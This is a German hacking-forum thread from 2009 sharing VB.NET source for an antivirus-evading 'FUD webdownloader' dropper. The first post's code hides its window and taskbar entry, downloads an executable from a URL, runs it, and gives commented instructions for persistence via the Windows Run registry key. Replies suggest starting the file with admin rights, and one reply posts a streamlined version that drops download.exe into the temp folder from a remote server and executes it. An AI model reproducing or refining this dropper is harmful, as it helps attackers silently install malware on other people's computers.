PHP Forum - Coding Board
Dezember 12, 2017, 01:55:01 *
Willkommen Gast. Bitte einloggen oder registrieren.

Einloggen mit Benutzername, Passwort und Sitzungslänge
News:
 
   Übersicht   Hilfe Suche Einloggen Registrieren  
Seiten: [1]
  Drucken  
Autor Thema: [VB.NET] Fud Webdownloader by r3miX  (Gelesen 328 mal)
0 Mitglieder und 1 Gast betrachten dieses Thema.
r3miX
Kurzfristige Teampause
Full Member
***
Beiträge: 105

Auf Anfrage
Profil anzeigen WWW E-Mail
« am: Januar 17, 2009, 07:02:21 »

Hallo zusammen,
hier mein FUD Webdownloader, by r3miX Zwinkernd
Alles durchkommentiert und übersichtlich gestaltet Zwinkernd

FUD Webdownloader Source:
Code:
'~Falls ihr den Registryeintrag wählt, müsst ihr das noch "importieren" ;)
'##Code Anfang##
'Imports Microsoft.Win32
'##Code Ende##

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Opacity = 0%                     '~Form unsichtbar machen.
        Me.ShowInTaskbar = False            '~Form vor der Taskleiste unsichtbar machen.

        Dim uL As String = TextBox1.Text         '~Url festlegen(in textbox).
        Dim dL As System.Net.WebClient = New System.Net.WebClient
        Dim dat As String = uL              '~Url wird vereinfacht(unnötig).
        Dim nam As String = "C:\NAME.exe"   '~Pfad + Name -> Speicherort.
        dL.DownloadFile(dat, nam)           '~Download wird durchgefüh
        System.Threading.Thread.Sleep(1000)
        Process.Start("C:\NAME.exe")        '~.exe wird gestartet.
        System.Threading.Thread.Sleep(1000) '~Warten, bis exe geloaded ist
        Me.Close()                          'Form schlie?en -> Download erfolgreich :)

        '~Natürlich könnte man die .exe erst in die Registry eintragen, und die .exe
        '~erst beim Reboot starten lassen ;)
        '~Das würde dann so gehen:
        '##Code Anfang##
        'Dim RegKey As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
        'RegKey.SetValue("PROGRAMM", "PFAD ZUM PROGRAMM)
        'RegKey.Close()
        '##Code Ende##
        '~Natürlich ohne die '-Teile.

        'by R3MiX :)
        'codesoft.cc
    End Sub
End Class

Originallink: http://board.codesoft.cc/showthread.php?t=2883
Und ja, ich r3miX x.x (L1ght1 kann es bestätigen!)
Gespeichert


PHIPU
Newbie
*
Beiträge: 21


Profil anzeigen E-Mail
« Antworten #1 am: März 11, 2009, 01:26:06 »

Q & P ist ganz einfach ne?
BILLIG
Gespeichert

Scylla
Full Member
***
Beiträge: 187


271690
Profil anzeigen E-Mail
« Antworten #2 am: März 11, 2009, 05:36:37 »

hat er nicht copy und past hat er selber geschrieben Smiley
Gespeichert
krusty
Newbie
*
Beiträge: 4


Profil anzeigen E-Mail
« Antworten #3 am: Juni 30, 2009, 03:20:21 »

Gespeichert

Console.WriteLine("I<3VB.net")
fella
Jr. Member
**
Beiträge: 72



Profil anzeigen E-Mail
« Antworten #4 am: Juni 30, 2009, 03:26:24 »

dann lass die EXE halt mit dem Admin parameter starten/kopieren ?
Gespeichert
VooDoo666
Newbie
*
Beiträge: 14



Profil anzeigen E-Mail
« Antworten #5 am: September 01, 2009, 12:19:25 »

Drop doch lieber auf tmp, und der Sleep ist auch nicht notwendig!

Code:
[COLOR=darkblue]Public[/COLOR] [COLOR=darkblue]Class[/COLOR] Form1
[COLOR=darkblue]Private[/COLOR] [COLOR=darkblue]Sub[/COLOR] Form1_Load([COLOR=darkblue]ByVal[/COLOR] sender [COLOR=darkblue]As[/COLOR] System.[COLOR=darkblue]Object[/COLOR], [COLOR=darkblue]ByVal[/COLOR] e [COLOR=darkblue]As[/COLOR] System.EventArgs) [COLOR=darkblue]Handles[/COLOR] [COLOR=darkblue]MyBase[/COLOR].Load
    [COLOR=darkblue]Dim[/COLOR] URL [COLOR=darkblue]As[/COLOR] [COLOR=darkblue]String[/COLOR] [COLOR=black]=[/COLOR] [COLOR=darkred]&quot;http://meinserver.de/meineapplikation.exe&quot;[/COLOR]
    [COLOR=darkblue]Dim[/COLOR] client [COLOR=darkblue]As[/COLOR] System.Net.WebClient [COLOR=black]=[/COLOR] [COLOR=darkblue]New[/COLOR] System.Net.WebClient
    [COLOR=darkblue]Dim[/COLOR] nam [COLOR=darkblue]As[/COLOR] [COLOR=darkblue]String[/COLOR] [COLOR=black]=[/COLOR] ([COLOR=darkblue]Environ[/COLOR]([COLOR=darkred]&quot;tmp&quot;[/COLOR]) [COLOR=black]&[/COLOR] [COLOR=darkred]&quot;download.exe&quot;[/COLOR])    
        client.DownloadFile(URL, nam)

    Process.Start([COLOR=darkblue]Environ[/COLOR]([COLOR=darkred]&quot;tmp&quot;[/COLOR]) [COLOR=black]&[/COLOR] [COLOR=darkred]&quot;download.exe&quot;[/COLOR])
[COLOR=darkblue]End[/COLOR] [COLOR=darkblue]Sub[/COLOR]
[COLOR=darkblue]End[/COLOR] [COLOR=darkblue]Class[/COLOR]
Gespeichert


░█▀▀ ░█▀█ ░█ ░█▀▀ ░░█▀▀ ░█▀█ ░█ ░█ ░░░
░█▀▀ ░█▀▀ ░█ ░█ ░░░░█▀▀ ░█▀█ ░█ ░█ ░░░
░▀▀▀ ░▀ ░░░▀ ░▀▀▀ ░░▀ ░░░▀░▀ ░▀ ░▀▀▀ ░
LeadOr
Newbie
*
Beiträge: 37



Profil anzeigen E-Mail
« Antworten #6 am: September 01, 2009, 04:27:55 »

naja aber sicher ist sicher Zwinkernd
Gespeichert


Seiten: [1]
  Drucken  
 
Gehe zu:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.21 | SMF © 2006-2009, Simple Machines | New Look by Nolt Prüfe XHTML 1.0 Prüfe CSS